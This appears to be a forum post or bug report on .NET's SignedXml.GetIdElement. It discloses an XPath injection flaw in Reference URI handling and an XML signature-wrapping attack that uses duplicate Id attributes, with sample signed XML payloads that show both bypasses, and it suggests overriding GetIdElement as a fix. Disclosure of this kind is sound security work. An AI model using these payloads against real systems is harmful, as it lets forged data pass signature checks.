Class SignedXml is used to produce/verify signature over XML document. One of its methods, function GetIdElement, is used to select Xml elements for signature and verification and consist following line:
xmlElement = document.Select SingleNode(Stri ng.Concat("//*[@Id=\"", idValue, "\"]")) is XmlElement;
I can see two issues with this line
1. URI injection - there is no validation of idValue whatsoever; therefore I can successfully validate document below (see what is the URI). I have control over XPATH query you are performing. Although I cannot find any "dangerous" functions in XPATH specification, I think it is bug that should be fixed, especially before XPATH 2.0
<test><el1 Id="abc" /><el2 noid="qwerty" /><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><Sign edInfo><Canonic alizationMethod Algorithm="http ://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMeth od Algorithm="http ://www.w3.org/2000/09/xmldsig#rsa-sha1" /><Reference URI="#abc1"] | //*[@noid="qwerty"> <Transforms><Tr ansform Algorithm="http ://www.w3.org/2000/09/xmldsig#envelop ed-signature" /><Transform Algorithm="http ://www.w3.org/2001/10/xml-exc-c14n#" /></Transforms><Dig estMethod Algorithm="http ://www.w3.org/2000/09/xmldsig#sha1" /><DigestValue>L b1b1rf+AbI+zRYH nL3AQXLfWoQ=</DigestValue></Reference></SignedInfo><Sig natureValue>sUf pZr66IpdqxsfEaf Ih+lUbRJCifQWGj SckVMNlOqoa2RA/UPFRPcajTbbSe+U RVU+MrU9cV1bhP8 nH4DNNuWy3Kdmy2 mhXxObqsPLqfwf5 bOSwFEpGckQq52+ YrIx+Wi127VfdQM qC33J7Afm/trY5c0O6I2cFswm 0EWgeFW8=</SignatureValue> </Signature></test>
2. Why SelectSingleNod e is used instead of SelectNodes? Because of it only the first element is returned and no exception is raised if there are two XML elements with the same Id. I can use it and having one valid signature create new docment (with the same Id) and signature will be still valid. Example below:
I have
<test><el1 Id="abc" /><el2 Id="qwerty">val ue1</el2><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><Sign edInfo><Canonic alizationMethod Algorithm="http ://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMeth od Algorithm="http ://www.w3.org/2000/09/xmldsig#rsa-sha1" /><Reference URI="#qwerty">< Transforms><Tra nsform Algorithm="http ://www.w3.org/2000/09/xmldsig#envelop ed-signature" /><Transform Algorithm="http ://www.w3.org/2001/10/xml-exc-c14n#" /></Transforms><Dig estMethod Algorithm="http ://www.w3.org/2000/09/xmldsig#sha1" /><DigestValue>v TwJDnUsVD3k4J+S adUZRK5tp6k=</DigestValue></Reference></SignedInfo><Sig natureValue>ju9 QkFABobpzShI1cH Imx+oeo3Bttzge+ So407KZ47ViSpxp cjfCDMbPoeDyFkG CC99O/vKhkwcCq9iqPgda jgtBQ+ZjUTODRwV MNxz42Z3Vq0Yu+U JHA2gGIaCyQpLBY GSAwqo8rdTw5Fv1 Bi5Br441wGkAQS/lblTK2ubZRcA=</SignatureValue> </Signature></test>
I can create
<test><el1 Id="abc"><el2 Id="qwerty">val ue1</el2></el1><el2 Id="qwerty">val ue2</el2><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><Sign edInfo><Canonic alizationMethod Algorithm="http ://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMeth od Algorithm="http ://www.w3.org/2000/09/xmldsig#rsa-sha1" /><Reference URI="#qwerty">< Transforms><Tra nsform Algorithm="http ://www.w3.org/2000/09/xmldsig#envelop ed-signature" /><Transform Algorithm="http ://www.w3.org/2001/10/xml-exc-c14n#" /></Transforms><Dig estMethod Algorithm="http ://www.w3.org/2000/09/xmldsig#sha1" /><DigestValue>v TwJDnUsVD3k4J+S adUZRK5tp6k=</DigestValue></Reference></SignedInfo><Sig natureValue>ju9 QkFABobpzShI1cH Imx+oeo3Bttzge+ So407KZ47ViSpxp cjfCDMbPoeDyFkG CC99O/vKhkwcCq9iqPgda jgtBQ+ZjUTODRwV MNxz42Z3Vq0Yu+U JHA2gGIaCyQpLBY GSAwqo8rdTw5Fv1 Bi5Br441wGkAQS/lblTK2ubZRcA=</SignatureValue> </Signature></test>
Signature will be successfully validated, but instead of value1 my code responsible for deserialization el2 will use value2.
Of course multiple Id are not permitted; therefore I would expect that it should raise an exception, instead of happily validating signature.
My suggestion for everyone who uses this class is two create a new class, inherit from SignedXml and overload GetIdElement class.
Cheers,
Pak76